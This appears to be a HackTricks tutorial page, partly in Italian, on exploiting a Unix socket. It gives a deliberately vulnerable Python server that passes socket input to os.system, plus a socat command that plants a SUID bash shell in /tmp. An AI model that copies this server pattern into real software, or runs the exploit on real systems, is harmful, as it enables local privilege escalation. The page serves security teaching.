{{#include ../../banners/hacktricks-training.md}} ## Esempio di binding socket con Python In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`. So che non troverai questo nella natura, ma l'obiettivo di questo esempio รจ vedere come appare un codice che utilizza socket unix e come gestire l'input nel peggior caso possibile. ```python:s.py import socket import os, os.path import time from collections import deque if os.path.exists("/tmp/socket_test.s"): os.remove("/tmp/socket_test.s") server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) server.bind("/tmp/socket_test.s") os.system("chmod o+w /tmp/socket_test.s") while True: server.listen(1) conn, addr = server.accept() datagram = conn.recv(1024) if datagram: print(datagram) os.system(datagram) conn.close() ``` **Esegui** il codice usando python: `python s.py` e **controlla come il socket sta ascoltando**: ```python netstat -a -p --unix | grep "socket_test" (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s ``` **Sfruttare** ```python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` {{#include ../../banners/hacktricks-training.md}}
